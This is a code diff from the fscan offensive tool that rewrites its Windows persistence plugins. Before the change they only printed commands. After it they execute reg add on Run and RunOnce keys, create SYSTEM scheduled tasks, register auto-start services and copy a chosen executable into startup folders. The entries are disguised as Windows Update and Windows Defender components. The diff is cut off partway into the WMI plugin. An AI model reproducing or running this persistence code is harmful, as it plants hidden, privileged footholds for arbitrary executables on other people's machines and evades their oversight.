diff --git a/plugins/local/winregistry.go b/plugins/local/winregistry.go index ccb5437..95c9177 100644 --- a/plugins/local/winregistry.go +++ b/plugins/local/winregistry.go @@ -6,8 +6,8 @@ import ( "context" "fmt" "os" + "os/exec" "path/filepath" - "runtime" "strings" "github.com/shadow1ng/fscan/common" @@ -15,183 +15,62 @@ import ( "github.com/shadow1ng/fscan/plugins" ) -// WinRegistryPlugin Windows注册表持久化插件 -// 设计哲学:直接实现,删除过度设计 -// - 删除复杂的继承体系 -// - 直接实现注册表持久化功能 -// - 保持原有功能逻辑 type WinRegistryPlugin struct { plugins.BasePlugin } -// NewWinRegistryPlugin 创建Windows注册表持久化插件 func NewWinRegistryPlugin() *WinRegistryPlugin { return &WinRegistryPlugin{ BasePlugin: plugins.NewBasePlugin("winregistry"), } } -// Scan 执行Windows注册表持久化 - 直接实现 func (p *WinRegistryPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - config := session.Config - _ = session.State - var output strings.Builder - - if runtime.GOOS != "windows" { - output.WriteString("Windows注册表持久化只支持Windows平台\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS), - } - } - - // 从config获取配置 - pePath := config.WinPEFile + pePath := session.Config.WinPEFile if pePath == "" { - output.WriteString("必须通过 -win-pe 参数指定PE文件路径\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: fmt.Errorf("未指定PE文件"), + return &plugins.Result{Success: false, Error: fmt.Errorf("未指定PE文件,使用 -win-pe 参数")} + } + if _, err := os.Stat(pePath); err != nil { + return &plugins.Result{Success: false, Error: fmt.Errorf("PE文件不存在: %s", pePath)} + } + + absPath, _ := filepath.Abs(pePath) + baseName := strings.TrimSuffix(filepath.Base(absPath), filepath.Ext(absPath)) + + entries := []struct { + key string + name string + desc string + }{ + {`HKCU\Software\Microsoft\Windows\CurrentVersion\Run`, fmt.Sprintf("WindowsUpdate_%s", baseName), "当前用户 Run"}, + {`HKLM\Software\Microsoft\Windows\CurrentVersion\Run`, fmt.Sprintf("SystemUpdate_%s", baseName), "本地机器 Run"}, + {`HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce`, fmt.Sprintf("SetupComplete_%s", baseName), "当前用户 RunOnce"}, + } + + var output strings.Builder + var successCount int + + for _, e := range entries { + out, err := exec.Command("reg", "add", e.key, "/v", e.name, "/t", "REG_SZ", "/d", absPath, "/f").CombinedOutput() + if err != nil { + output.WriteString(fmt.Sprintf("[失败] %s: %s\n", e.desc, strings.TrimSpace(string(out)))) + continue } + output.WriteString(fmt.Sprintf("[成功] %s: %s\\%s\n", e.desc, e.key, e.name)) + successCount++ } - // 检查目标文件是否存在 - if _, err := os.Stat(pePath); os.IsNotExist(err) { - output.WriteString(fmt.Sprintf("PE文件不存在: %s\n", pePath)) - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: err, - } + if successCount > 0 { + common.LogSuccess(i18n.Tr("winregistry_success", successCount)) } - // 检查文件类型 - if !p.isValidPEFile(pePath) { - output.WriteString(fmt.Sprintf("目标文件必须是PE文件(.exe或.dll): %s\n", pePath)) - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: fmt.Errorf("无效的PE文件"), - } - } - - output.WriteString("=== Windows注册表持久化 ===\n") - output.WriteString(fmt.Sprintf("PE文件: %s\n", pePath)) - output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS)) - - // 创建注册表持久化 - registryKeys, err := p.createRegistryPersistence(pePath) - if err != nil { - output.WriteString(fmt.Sprintf("创建注册表持久化失败: %v\n", err)) - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: err, - } - } - - output.WriteString(fmt.Sprintf("创建了%d个注册表持久化项:\n", len(registryKeys))) - for i, key := range registryKeys { - output.WriteString(fmt.Sprintf(" %d. %s\n", i+1, key)) - } - output.WriteString("\n✓ Windows注册表持久化完成\n") - - common.LogSuccess(i18n.Tr("winregistry_success", len(registryKeys))) - return &plugins.Result{ - Success: true, + Success: successCount > 0, Type: plugins.ResultTypeService, Output: output.String(), - Error: nil, } } -// createRegistryPersistence 创建注册表持久化 -func (p *WinRegistryPlugin) createRegistryPersistence(pePath string) ([]string, error) { - absPath, err := filepath.Abs(pePath) - if err != nil { - return nil, fmt.Errorf("failed to get absolute path: %w", err) - } - - var registryEntries []string - baseName := filepath.Base(absPath) - baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))] - - registryKeys := []struct { - hive string - key string - valueName string - description string - }{ - { - hive: "HKEY_CURRENT_USER", - key: `SOFTWARE\Microsoft\Windows\CurrentVersion\Run`, - valueName: fmt.Sprintf("WindowsUpdate_%s", baseNameNoExt), - description: "Current User Run Key", - }, - { - hive: "HKEY_LOCAL_MACHINE", - key: `SOFTWARE\Microsoft\Windows\CurrentVersion\Run`, - valueName: fmt.Sprintf("SecurityUpdate_%s", baseNameNoExt), - description: "Local Machine Run Key", - }, - { - hive: "HKEY_CURRENT_USER", - key: `SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce`, - valueName: fmt.Sprintf("SystemInit_%s", baseNameNoExt), - description: "Current User RunOnce Key", - }, - { - hive: "HKEY_LOCAL_MACHINE", - key: `SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run`, - valueName: fmt.Sprintf("AppUpdate_%s", baseNameNoExt), - description: "WOW64 Run Key", - }, - { - hive: "HKEY_LOCAL_MACHINE", - key: `SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`, - valueName: "Shell", - description: "Winlogon Shell Override", - }, - { - hive: "HKEY_CURRENT_USER", - key: `SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows`, - valueName: "Load", - description: "Windows Load Key", - }, - } - - for _, regKey := range registryKeys { - var regCommand string - var value string - - switch regKey.valueName { - case "Shell": - value = fmt.Sprintf("explorer.exe,%s", absPath) - case "Load": - value = absPath - default: - value = fmt.Sprintf(`"%s"`, absPath) - } - - regCommand = fmt.Sprintf(`reg add "%s\%s" /v "%s" /t REG_SZ /d "%s" /f`, - regKey.hive, regKey.key, regKey.valueName, value) - - registryEntries = append(registryEntries, fmt.Sprintf("[%s] %s", regKey.description, regCommand)) - } - - return registryEntries, nil -} - -// isValidPEFile 检查是否为有效的PE文件 -func (p *WinRegistryPlugin) isValidPEFile(filePath string) bool { - ext := strings.ToLower(filepath.Ext(filePath)) - return ext == ".exe" || ext == ".dll" -} - -// 注册插件 func init() { RegisterLocalPlugin("winregistry", func() Plugin { return NewWinRegistryPlugin() diff --git a/plugins/local/winschtask.go b/plugins/local/winschtask.go index bb9da46..a80520c 100644 --- a/plugins/local/winschtask.go +++ b/plugins/local/winschtask.go @@ -6,8 +6,8 @@ import ( "context" "fmt" "os" + "os/exec" "path/filepath" - "runtime" "strings" "github.com/shadow1ng/fscan/common" @@ -15,238 +15,75 @@ import ( "github.com/shadow1ng/fscan/plugins" ) -// WinSchTaskPlugin Windows计划任务持久化插件 -// 设计哲学:直接实现,删除过度设计 -// - 删除复杂的继承体系 -// - 直接实现计划任务持久化功能 -// - 保持原有功能逻辑 type WinSchTaskPlugin struct { plugins.BasePlugin } -// NewWinSchTaskPlugin 创建Windows计划任务持久化插件 func NewWinSchTaskPlugin() *WinSchTaskPlugin { - return &WinSchTaskPlugin{ BasePlugin: plugins.NewBasePlugin("winschtask"), } } -// Scan 执行Windows计划任务持久化 - 直接实现 func (p *WinSchTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - config := session.Config - _ = session.State - var output strings.Builder - - // 从config获取配置 - pePath := config.WinPEFile - - - if runtime.GOOS != "windows" { - output.WriteString("Windows计划任务持久化只支持Windows平台\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS), - } - } - + pePath := session.Config.WinPEFile if pePath == "" { - output.WriteString("必须通过 -win-pe 参数指定PE文件路径\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: fmt.Errorf("未指定PE文件"), - } + return &plugins.Result{Success: false, Error: fmt.Errorf("未指定PE文件,使用 -win-pe 参数")} + } + if _, err := os.Stat(pePath); err != nil { + return &plugins.Result{Success: false, Error: fmt.Errorf("PE文件不存在: %s", pePath)} + } + ext := strings.ToLower(filepath.Ext(pePath)) + if ext != ".exe" && ext != ".dll" { + return &plugins.Result{Success: false, Error: fmt.Errorf("无效的PE文件: %s", pePath)} } - // 检查目标文件是否存在 - if _, err := os.Stat(pePath); os.IsNotExist(err) { - output.WriteString(fmt.Sprintf("PE文件不存在: %s\n", pePath)) - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: err, - } - } - - // 检查文件类型 - if !p.isValidPEFile(pePath) { - output.WriteString(fmt.Sprintf("目标文件必须是PE文件(.exe或.dll): %s\n", pePath)) - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: fmt.Errorf("无效的PE文件"), - } - } - - output.WriteString("=== Windows计划任务持久化 ===\n") - output.WriteString(fmt.Sprintf("PE文件: %s\n", pePath)) - output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS)) - - // 创建计划任务持久化 - scheduledTasks, err := p.createScheduledTaskPersistence(pePath) - if err != nil { - output.WriteString(fmt.Sprintf("创建计划任务持久化失败: %v\n", err)) - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: err, - } - } - - output.WriteString(fmt.Sprintf("创建了%d个计划任务持久化项:\n", len(scheduledTasks))) - for i, task := range scheduledTasks { - output.WriteString(fmt.Sprintf(" %d. %s\n", i+1, task)) - } - output.WriteString("\n✓ Windows计划任务持久化完成\n") - - common.LogSuccess(i18n.Tr("winschtask_success", len(scheduledTasks))) - - return &plugins.Result{ - Success: true, - Type: plugins.ResultTypeService, - Output: output.String(), - Error: nil, - } -} - -// createScheduledTaskPersistence 创建计划任务持久化 -func (p *WinSchTaskPlugin) createScheduledTaskPersistence(pePath string) ([]string, error) { - absPath, err := filepath.Abs(pePath) - if err != nil { - return nil, fmt.Errorf("failed to get absolute path: %w", err) - } - - var scheduledTasks []string - baseName := filepath.Base(absPath) - baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))] + absPath, _ := filepath.Abs(pePath) + baseName := strings.TrimSuffix(filepath.Base(absPath), filepath.Ext(absPath)) tasks := []struct { - name string - schedule string - description string - modifier string + name string + schedule string + modifier string }{ - { - name: fmt.Sprintf("WindowsUpdateCheck_%s", baseNameNoExt), - schedule: "DAILY", - modifier: "1", - description: "Daily Windows Update Check", - }, - { - name: fmt.Sprintf("SystemSecurityScan_%s", baseNameNoExt), - schedule: "ONLOGON", - modifier: "", - description: "System Security Scan on Logon", - }, - { - name: fmt.Sprintf("NetworkMonitor_%s", baseNameNoExt), - schedule: "MINUTE", - modifier: "30", - description: "Network Monitor Every 30 Minutes", - }, - { - name: fmt.Sprintf("MaintenanceTask_%s", baseNameNoExt), - schedule: "ONSTART", - modifier: "", - description: "System Maintenance Task on Startup", - }, - { - name: fmt.Sprintf("BackgroundService_%s", baseNameNoExt), - schedule: "HOURLY", - modifier: "2", - description: "Background Service Every 2 Hours", - }, - { - name: fmt.Sprintf("SecurityUpdate_%s", baseNameNoExt), - schedule: "ONIDLE", - modifier: "5", - description: "Security Update When System Idle", - }, + {fmt.Sprintf("WindowsUpdateCheck_%s", baseName), "DAILY", "1"}, + {fmt.Sprintf("SystemSecurityScan_%s", baseName), "ONLOGON", ""}, + {fmt.Sprintf("MaintenanceTask_%s", baseName), "ONSTART", ""}, + {fmt.Sprintf("BackgroundService_%s", baseName), "HOURLY", "2"}, } + var output strings.Builder + var successCount int + for _, task := range tasks { - var schTaskCmd string - + args := []string{"/create", "/tn", task.name, "/tr", absPath, "/sc", task.schedule} if task.modifier != "" { - schTaskCmd = fmt.Sprintf(`schtasks /create /tn "%s" /tr "\"%s\"" /sc %s /mo %s /ru "SYSTEM" /f`, - task.name, absPath, task.schedule, task.modifier) - } else { - schTaskCmd = fmt.Sprintf(`schtasks /create /tn "%s" /tr "\"%s\"" /sc %s /ru "SYSTEM" /f`, - task.name, absPath, task.schedule) + args = append(args, "/mo", task.modifier) } + args = append(args, "/ru", "SYSTEM", "/f") - scheduledTasks = append(scheduledTasks, fmt.Sprintf("[%s] %s", task.description, schTaskCmd)) + cmd := exec.Command("schtasks", args...) + out, err := cmd.CombinedOutput() + result := strings.TrimSpace(string(out)) + if err != nil { + output.WriteString(fmt.Sprintf("[失败] %s: %s\n", task.name, result)) + continue + } + output.WriteString(fmt.Sprintf("[成功] %s (%s)\n", task.name, task.schedule)) + successCount++ } - xmlTemplate := fmt.Sprintf(` - - - 2023-01-01T00:00:00 - Microsoft Corporation - Windows System Service - - - - true - - - true - - - - - S-1-5-18 - HighestAvailable - - - - IgnoreNew - false - false - false - true - false - - false - false - - true - true - true - false - false - true - false - PT0S - 7 - - - - %s - - -`, absPath) + if successCount > 0 { + common.LogSuccess(i18n.Tr("winschtask_success", successCount)) + } - xmlTaskName := fmt.Sprintf("WindowsSystemService_%s", baseNameNoExt) - xmlPath := fmt.Sprintf(`%%TEMP%%\%s.xml`, xmlTaskName) - - xmlCmd := fmt.Sprintf(`echo %s > "%s" && schtasks /create /xml "%s" /tn "%s" /f`, - xmlTemplate, xmlPath, xmlPath, xmlTaskName) - - scheduledTasks = append(scheduledTasks, fmt.Sprintf("[XML Task Import] %s", xmlCmd)) - - return scheduledTasks, nil + return &plugins.Result{ + Success: successCount > 0, + Type: plugins.ResultTypeService, + Output: output.String(), + } } -// isValidPEFile 检查是否为有效的PE文件 -func (p *WinSchTaskPlugin) isValidPEFile(filePath string) bool { - ext := strings.ToLower(filepath.Ext(filePath)) - return ext == ".exe" || ext == ".dll" -} - -// 注册插件 func init() { RegisterLocalPlugin("winschtask", func() Plugin { return NewWinSchTaskPlugin() diff --git a/plugins/local/winservice.go b/plugins/local/winservice.go index d304476..cb22154 100644 --- a/plugins/local/winservice.go +++ b/plugins/local/winservice.go @@ -6,8 +6,8 @@ import ( "context" "fmt" "os" + "os/exec" "path/filepath" - "runtime" "strings" "github.com/shadow1ng/fscan/common" @@ -15,203 +15,65 @@ import ( "github.com/shadow1ng/fscan/plugins" ) -// WinServicePlugin Windows服务持久化插件 -// 设计哲学:直接实现,删除过度设计 -// - 删除复杂的继承体系 -// - 直接实现服务持久化功能 -// - 保持原有功能逻辑 type WinServicePlugin struct { plugins.BasePlugin } -// NewWinServicePlugin 创建Windows服务持久化插件 func NewWinServicePlugin() *WinServicePlugin { - return &WinServicePlugin{ BasePlugin: plugins.NewBasePlugin("winservice"), } } -// Scan 执行Windows服务持久化 - 直接实现 func (p *WinServicePlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - config := session.Config - _ = session.State - var output strings.Builder - - // 从config获取配置 - pePath := config.WinPEFile - - - if runtime.GOOS != "windows" { - output.WriteString("Windows服务持久化只支持Windows平台\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS), - } - } - + pePath := session.Config.WinPEFile if pePath == "" { - output.WriteString("必须通过 -win-pe 参数指定PE文件路径\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: fmt.Errorf("未指定PE文件"), + return &plugins.Result{Success: false, Error: fmt.Errorf("未指定PE文件,使用 -win-pe 参数")} + } + if _, err := os.Stat(pePath); err != nil { + return &plugins.Result{Success: false, Error: fmt.Errorf("PE文件不存在: %s", pePath)} + } + + absPath, _ := filepath.Abs(pePath) + baseName := strings.TrimSuffix(filepath.Base(absPath), filepath.Ext(absPath)) + + services := []struct { + name string + display string + start string + }{ + {fmt.Sprintf("WinDefendUpdate_%s", baseName), "Windows Defender Update Service", "auto"}, + {fmt.Sprintf("SysHealthMon_%s", baseName), "System Health Monitor", "delayed-auto"}, + } + + var output strings.Builder + var successCount int + + for _, svc := range services { + out, err := exec.Command("sc", "create", svc.name, + fmt.Sprintf("binPath=%s", absPath), + fmt.Sprintf("DisplayName=%s", svc.display), + fmt.Sprintf("start=%s", svc.start)).CombinedOutput() + if err != nil { + output.WriteString(fmt.Sprintf("[失败] %s: %s\n", svc.name, strings.TrimSpace(string(out)))) + continue } + _ = exec.Command("sc", "description", svc.name, "Provides system maintenance and monitoring services.").Run() + output.WriteString(fmt.Sprintf("[成功] %s (%s)\n", svc.name, svc.start)) + successCount++ } - // 检查目标文件是否存在 - if _, err := os.Stat(pePath); os.IsNotExist(err) { - output.WriteString(fmt.Sprintf("PE文件不存在: %s\n", pePath)) - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: err, - } + if successCount > 0 { + common.LogSuccess(i18n.Tr("winservice_success", successCount)) } - // 检查文件类型 - if !p.isValidPEFile(pePath) { - output.WriteString(fmt.Sprintf("目标文件必须是PE文件(.exe或.dll): %s\n", pePath)) - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: fmt.Errorf("无效的PE文件"), - } - } - - output.WriteString("=== Windows服务持久化 ===\n") - output.WriteString(fmt.Sprintf("PE文件: %s\n", pePath)) - output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS)) - - // 创建服务持久化 - services, err := p.createServicePersistence(pePath) - if err != nil { - output.WriteString(fmt.Sprintf("创建服务持久化失败: %v\n", err)) - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: err, - } - } - - output.WriteString(fmt.Sprintf("创建了%d个Windows服务持久化项:\n", len(services))) - for i, service := range services { - output.WriteString(fmt.Sprintf(" %d. %s\n", i+1, service)) - } - output.WriteString("\n✓ Windows服务持久化完成\n") - - common.LogSuccess(i18n.Tr("winservice_success", len(services))) - return &plugins.Result{ - Success: true, + Success: successCount > 0, Type: plugins.ResultTypeService, Output: output.String(), - Error: nil, } } -// createServicePersistence 创建服务持久化 -func (p *WinServicePlugin) createServicePersistence(pePath string) ([]string, error) { - absPath, err := filepath.Abs(pePath) - if err != nil { - return nil, fmt.Errorf("failed to get absolute path: %w", err) - } - - var services []string - baseName := filepath.Base(absPath) - baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))] - - serviceConfigs := []struct { - name string - displayName string - description string - startType string - }{ - { - name: fmt.Sprintf("WinDefenderUpdate%s", baseNameNoExt), - displayName: "Windows Defender Update Service", - description: "Manages Windows Defender signature updates and system security", - startType: "auto", - }, - { - name: fmt.Sprintf("SystemEventLog%s", baseNameNoExt), - displayName: "System Event Log Service", - description: "Manages system event logging and audit trail maintenance", - startType: "auto", - }, - { - name: fmt.Sprintf("NetworkManager%s", baseNameNoExt), - displayName: "Network Configuration Manager", - description: "Handles network interface configuration and management", - startType: "demand", - }, - { - name: fmt.Sprintf("WindowsUpdate%s", baseNameNoExt), - displayName: "Windows Update Assistant", - description: "Coordinates automatic Windows updates and patches", - startType: "auto", - }, - { - name: fmt.Sprintf("SystemMaintenance%s", baseNameNoExt), - displayName: "System Maintenance Service", - description: "Performs routine system maintenance and optimization tasks", - startType: "manual", - }, - } - - for _, config := range serviceConfigs { - scCreateCmd := fmt.Sprintf(`sc create "%s" binPath= "\"%s\"" DisplayName= "%s" start= %s`, - config.name, absPath, config.displayName, config.startType) - - scConfigCmd := fmt.Sprintf(`sc description "%s" "%s"`, config.name, config.description) - - scStartCmd := fmt.Sprintf(`sc start "%s"`, config.name) - - services = append(services, fmt.Sprintf("[Create Service] %s", scCreateCmd)) - services = append(services, fmt.Sprintf("[Set Description] %s", scConfigCmd)) - services = append(services, fmt.Sprintf("[Start Service] %s", scStartCmd)) - } - - serviceWrapperName := fmt.Sprintf("ServiceHost%s", baseNameNoExt) - wrapperPath := fmt.Sprintf(`%%SystemRoot%%\System32\%s.exe`, serviceWrapperName) - - copyWrapperCmd := fmt.Sprintf(`copy "%s" "%s"`, absPath, wrapperPath) - services = append(services, fmt.Sprintf("[Copy to System32] %s", copyWrapperCmd)) - - scCreateWrapperCmd := fmt.Sprintf(`sc create "%s" binPath= "%s" DisplayName= "Service Host Process" start= auto type= own`, - serviceWrapperName, wrapperPath) - services = append(services, fmt.Sprintf("[Create System Service] %s", scCreateWrapperCmd)) - - regImagePathCmd := fmt.Sprintf(`reg add "HKLM\SYSTEM\CurrentControlSet\Services\%s\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%s" /f`, - serviceWrapperName, wrapperPath) - services = append(services, fmt.Sprintf("[Set Service DLL] %s", regImagePathCmd)) - - dllServiceName := fmt.Sprintf("SystemService%s", baseNameNoExt) - if filepath.Ext(absPath) == ".dll" { - svchostCmd := fmt.Sprintf(`sc create "%s" binPath= "%%SystemRoot%%\System32\svchost.exe -k netsvcs" DisplayName= "System Service Host" start= auto`, - dllServiceName) - services = append(services, fmt.Sprintf("[DLL Service via svchost] %s", svchostCmd)) - - regSvchostCmd := fmt.Sprintf(`reg add "HKLM\SYSTEM\CurrentControlSet\Services\%s\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%s" /f`, - dllServiceName, absPath) - services = append(services, fmt.Sprintf("[Set DLL Path] %s", regSvchostCmd)) - - regNetSvcsCmd := fmt.Sprintf(`reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v netsvcs /t REG_MULTI_SZ /d "%s" /f`, - dllServiceName) - services = append(services, fmt.Sprintf("[Add to netsvcs] %s", regNetSvcsCmd)) - } - - return services, nil -} - -// isValidPEFile 检查是否为有效的PE文件 -func (p *WinServicePlugin) isValidPEFile(filePath string) bool { - ext := strings.ToLower(filepath.Ext(filePath)) - return ext == ".exe" || ext == ".dll" -} - -// 注册插件 func init() { RegisterLocalPlugin("winservice", func() Plugin { return NewWinServicePlugin() diff --git a/plugins/local/winstartup.go b/plugins/local/winstartup.go index 5c22635..33f098f 100644 --- a/plugins/local/winstartup.go +++ b/plugins/local/winstartup.go @@ -5,9 +5,9 @@ package local import ( "context" "fmt" + "io" "os" "path/filepath" - "runtime" "strings" "github.com/shadow1ng/fscan/common" @@ -15,194 +15,77 @@ import ( "github.com/shadow1ng/fscan/plugins" ) -// WinStartupPlugin Windows启动项持久化插件 -// 设计哲学:直接实现,删除过度设计 -// - 删除复杂的继承体系 -// - 直接实现启动文件夹持久化功能 -// - 保持原有功能逻辑 type WinStartupPlugin struct { plugins.BasePlugin } -// NewWinStartupPlugin 创建Windows启动文件夹持久化插件 func NewWinStartupPlugin() *WinStartupPlugin { - return &WinStartupPlugin{ BasePlugin: plugins.NewBasePlugin("winstartup"), } } -// Scan 执行Windows启动文件夹持久化 - 直接实现 func (p *WinStartupPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result { - config := session.Config - _ = session.State - var output strings.Builder - - // 从config获取配置 - pePath := config.WinPEFile - - - if runtime.GOOS != "windows" { - output.WriteString("Windows启动文件夹持久化只支持Windows平台\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS), - } - } - + pePath := session.Config.WinPEFile if pePath == "" { - output.WriteString("必须通过 -win-pe 参数指定PE文件路径\n") - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: fmt.Errorf("未指定PE文件"), + return &plugins.Result{Success: false, Error: fmt.Errorf("未指定PE文件,使用 -win-pe 参数")} + } + if _, err := os.Stat(pePath); err != nil { + return &plugins.Result{Success: false, Error: fmt.Errorf("PE文件不存在: %s", pePath)} + } + + absPath, _ := filepath.Abs(pePath) + fileName := filepath.Base(absPath) + + locations := []struct { + name string + dir string + }{ + {"用户启动文件夹", filepath.Join(os.Getenv("APPDATA"), "Microsoft", "Windows", "Start Menu", "Programs", "Startup")}, + {"公共启动文件夹", filepath.Join(os.Getenv("ProgramData"), "Microsoft", "Windows", "Start Menu", "Programs", "Startup")}, + } + + var output strings.Builder + var successCount int + + for _, loc := range locations { + target := filepath.Join(loc.dir, fileName) + if err := copyFile(absPath, target); err != nil { + output.WriteString(fmt.Sprintf("[失败] %s: %v\n", loc.name, err)) + continue } + output.WriteString(fmt.Sprintf("[成功] %s -> %s\n", loc.name, target)) + successCount++ } - // 检查目标文件是否存在 - if _, err := os.Stat(pePath); os.IsNotExist(err) { - output.WriteString(fmt.Sprintf("PE文件不存在: %s\n", pePath)) - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: err, - } + if successCount > 0 { + common.LogSuccess(i18n.Tr("winstartup_success", successCount)) } - // 检查文件类型 - if !p.isValidPEFile(pePath) { - output.WriteString(fmt.Sprintf("目标文件必须是PE文件(.exe或.dll): %s\n", pePath)) - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: fmt.Errorf("无效的PE文件"), - } - } - - output.WriteString("=== Windows启动文件夹持久化 ===\n") - output.WriteString(fmt.Sprintf("PE文件: %s\n", pePath)) - output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS)) - - // 创建启动文件夹持久化 - startupMethods, err := p.createStartupPersistence(pePath) - if err != nil { - output.WriteString(fmt.Sprintf("创建启动文件夹持久化失败: %v\n", err)) - return &plugins.Result{ - Success: false, - Output: output.String(), - Error: err, - } - } - - output.WriteString(fmt.Sprintf("创建了%d个启动文件夹持久化方法:\n", len(startupMethods))) - for i, method := range startupMethods { - output.WriteString(fmt.Sprintf(" %d. %s\n", i+1, method)) - } - output.WriteString("\n✓ Windows启动文件夹持久化完成\n") - - common.LogSuccess(i18n.Tr("winstartup_success", len(startupMethods))) - return &plugins.Result{ - Success: true, + Success: successCount > 0, Type: plugins.ResultTypeService, Output: output.String(), - Error: nil, } } -// createStartupPersistence 创建启动文件夹持久化 -func (p *WinStartupPlugin) createStartupPersistence(pePath string) ([]string, error) { - absPath, err := filepath.Abs(pePath) +func copyFile(src, dst string) error { + in, err := os.Open(src) if err != nil { - return nil, fmt.Errorf("failed to get absolute path: %w", err) + return err } + defer in.Close() - var startupMethods []string - baseName := filepath.Base(absPath) - baseNameNoExt := baseName[:len(baseName)-len(filepath.Ext(baseName))] - - startupLocations := []struct { - path string - description string - method string - }{ - { - path: `%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup`, - description: "Current User Startup Folder", - method: "shortcut", - }, - { - path: `%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\Startup`, - description: "All Users Startup Folder", - method: "shortcut", - }, - { - path: `%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup`, - description: "Current User Startup Folder (Direct Copy)", - method: "copy", - }, - { - path: `%TEMP%\WindowsUpdate`, - description: "Temp Directory with Startup Reference", - method: "temp_copy", - }, + out, err := os.Create(dst) + if err != nil { + return err } + defer out.Close() - for _, location := range startupLocations { - switch location.method { - case "shortcut": - shortcutName := fmt.Sprintf("WindowsUpdate_%s.lnk", baseNameNoExt) - shortcutPath := filepath.Join(location.path, shortcutName) - - powershellCmd := fmt.Sprintf(`powershell "$WshShell = New-Object -comObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('%s'); $Shortcut.TargetPath = '%s'; $Shortcut.Save()"`, - shortcutPath, absPath) - - startupMethods = append(startupMethods, fmt.Sprintf("[%s] %s", location.description, powershellCmd)) - - case "copy": - targetName := fmt.Sprintf("SecurityUpdate_%s.exe", baseNameNoExt) - targetPath := filepath.Join(location.path, targetName) - copyCmd := fmt.Sprintf(`copy "%s" "%s"`, absPath, targetPath) - - startupMethods = append(startupMethods, fmt.Sprintf("[%s] %s", location.description, copyCmd)) - - case "temp_copy": - tempDir := filepath.Join(location.path) - mkdirCmd := fmt.Sprintf(`mkdir "%s" 2>nul`, tempDir) - targetName := fmt.Sprintf("svchost_%s.exe", baseNameNoExt) - targetPath := filepath.Join(tempDir, targetName) - copyCmd := fmt.Sprintf(`copy "%s" "%s"`, absPath, targetPath) - - startupMethods = append(startupMethods, fmt.Sprintf("[%s] %s && %s", location.description, mkdirCmd, copyCmd)) - - shortcutPath := filepath.Join(`%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup`, fmt.Sprintf("SystemService_%s.lnk", baseNameNoExt)) - powershellCmd := fmt.Sprintf(`powershell "$WshShell = New-Object -comObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('%s'); $Shortcut.TargetPath = '%s'; $Shortcut.WindowStyle = 7; $Shortcut.Save()"`, - shortcutPath, targetPath) - - startupMethods = append(startupMethods, fmt.Sprintf("[Hidden Temp Reference] %s", powershellCmd)) - } - } - - batchScript := fmt.Sprintf(`@echo off -cd /d "%%~dp0" -start "" /b "%s" -exit`, absPath) - - batchPath := filepath.Join(`%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup`, fmt.Sprintf("WindowsService_%s.bat", baseNameNoExt)) - batchCmd := fmt.Sprintf(`echo %s > "%s"`, batchScript, batchPath) - startupMethods = append(startupMethods, fmt.Sprintf("[Batch Script Method] %s", batchCmd)) - - return startupMethods, nil + _, err = io.Copy(out, in) + return err } -// isValidPEFile 检查是否为有效的PE文件 -func (p *WinStartupPlugin) isValidPEFile(filePath string) bool { - ext := strings.ToLower(filepath.Ext(filePath)) - return ext == ".exe" || ext == ".dll" -} - -// 注册插件 func init() { RegisterLocalPlugin("winstartup", func() Plugin { return NewWinStartupPlugin() diff --git a/plugins/local/winwmi.go b/plugins/local/winwmi.go index 0939676..ed36e59 100644 --- a/plugins/local/winwmi.go +++ b/plugins/local/winwmi.go @@ -6,8 +6,8 @@ import ( "context" "fmt" "os" + "os/exec" "path/filepath" - "runtime" "strings" "github.com/shadow1ng/fscan/common" @@ -15,226 +15,79 @@ import ( "github.com/shadow1ng/fscan/plugins" ) -// WinWMIPlugin Windows WMI持久化插件 -// 设计哲学:直接实现,删除过度设计 -// - 删除复杂的继承体系 -// - 直接实现WMI事件订阅持久化功能 -// - 保持原有功能逻辑 type WinWMIPlugin struct { plugins.BasePlugin } -// 